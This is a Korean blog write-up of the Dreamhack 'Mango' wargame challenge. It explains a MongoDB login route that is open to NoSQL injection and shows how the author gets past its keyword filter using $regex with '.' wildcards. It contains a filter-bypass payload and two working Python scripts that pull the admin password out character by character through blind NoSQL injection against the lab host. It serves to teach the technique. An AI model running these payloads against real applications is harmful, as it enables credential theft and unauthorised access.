본문 바로가기
웹/드림핵

Mango

by SH_L 2022. 9. 3.
반응형

[문제]

 

 

[풀이]

 

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

 

/login 페이지를 구성하는 코드이다. 코드를 살펴보면 이용자가 쿼리로 전달한 uid와 upw로 데이터베이스를 검색하고, 찾아낸 이용자의 정보를 반환한다. 이때, MongoDB에 쿼리를 전달하는 과정에서 쿼리 변수의 타입을 검사하고 있지 않기 때문에 NoSQL Injection 공격이 발생할 수 있다.

 

const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

 

이때, filter 함수를 통해 "admin", "dh", "admi" 문자열이 포함된 이용자의 요청을 필터링한다.

 

 

메인 화면에 접속하면 /login?uid=guest&upw=guest 문구를 확인할 수 있다.

 

 

화면에 출력된 문구를 복사하여 서버에 요청한 결과 guest라는 값을 돌려받았다.

 

 

uid의 값을 admin, upw의 값을 DH{32alphanumeric}으로 수정한 다음 서버에 요청한 결과 filter라는 값을 돌려받았다. 해당 값은 filter 함수에 의해 필터링 된 값이다.

 

 

사용한 정규 표현식: /login?uid[$regex]=ad.in&upw[$regex]=D.{*

 

filter함수가 특정 문자열을 필터링하고 있지만, 정규 표현식에서 임의 문자를 의미하는 "."을 이용하여 우회할 수 있다.  MongoDB의 [$regex] 연산을 사용하면 정규 표현식을 이용해 데이터를 검색할 수 있다. upw가 일치하는 경우 해당하는 uid가, 일치하지 않는 경우 undefined 문자열이 출력되는 것을 통해 쿼리의 참과 거짓을 확인할 수 있다.

 

정규 표현식을 사용하면 filter 함수 우회가 가능한 것을 확인했다. /login 페이지에서는 로그인에 성공했을 때 이용자의 uid만을 출력하기에 Blind NoSQL Injection을 통해 admin 계정의 upw를 획득해야 한다.

 

import requests
import string

url = 'http://host3.dreamhack.games:17297/login'
flag_set = string.digits + string.ascii_letters
flag = ''

for i in range(32):
    for ch in flag_set:
        response = requests.get(url + "?uid[$regex]=ad.in&upw[$regex]=D.{" + flag + ch)
        if response.text == 'admin':
            flag += ch
            break
    print('DH{' + flag + '}')

 

위와 같이 정규 표현식을 이용하여 익스플로잇 코드를 작성했다.

 

flag_set으로 사용되는 string.digits는 0에서 9 사이의 정수를, string.ascii_letters는 영어 알파벳 대소문자를 의미한다. 플래그가 어떤 문자로 구성되어 있는지를 알아내기 위해 사용한다.

 

문제에서 제공하는 DH{32alphanumeric}를 통해 플래그의 길이가 32 글자임을 알 수 있다. 따라서 32 글자를 모두 알아내기 위해 반복문을 사용한다.

 

import requests
import string

url = 'http://host3.dreamhack.games:17297/login'
flag_set = string.digits + string.ascii_letters + '}'
flag = ''

while True:
    for ch in flag_set:
        response = requests.get(url + "?uid[$regex]=ad.in&upw[$regex]=D.{" + flag + ch)
        if response.text == 'admin':
            flag += ch
            break
    print(flag)

    if '}' in flag:
        break
print('DH{' + flag)

 

만약 플래그의 길이가 32글자임을 모르는 상태에서 익스플로잇 코드를 작성해야 한다면 위와 같이 작성할 수 있다.

 

 

코드를 실행하게 되면 최종적으로 플래그를 확인할 수 있다.

반응형

' > 드림핵' 카테고리의 다른 글

image-storage  (0) 2022.09.06
command-injection-1  (1) 2022.09.03
simple_sqli  (0) 2022.09.03
csrf-2  (0) 2022.09.03
csrf-1  (0) 2022.09.03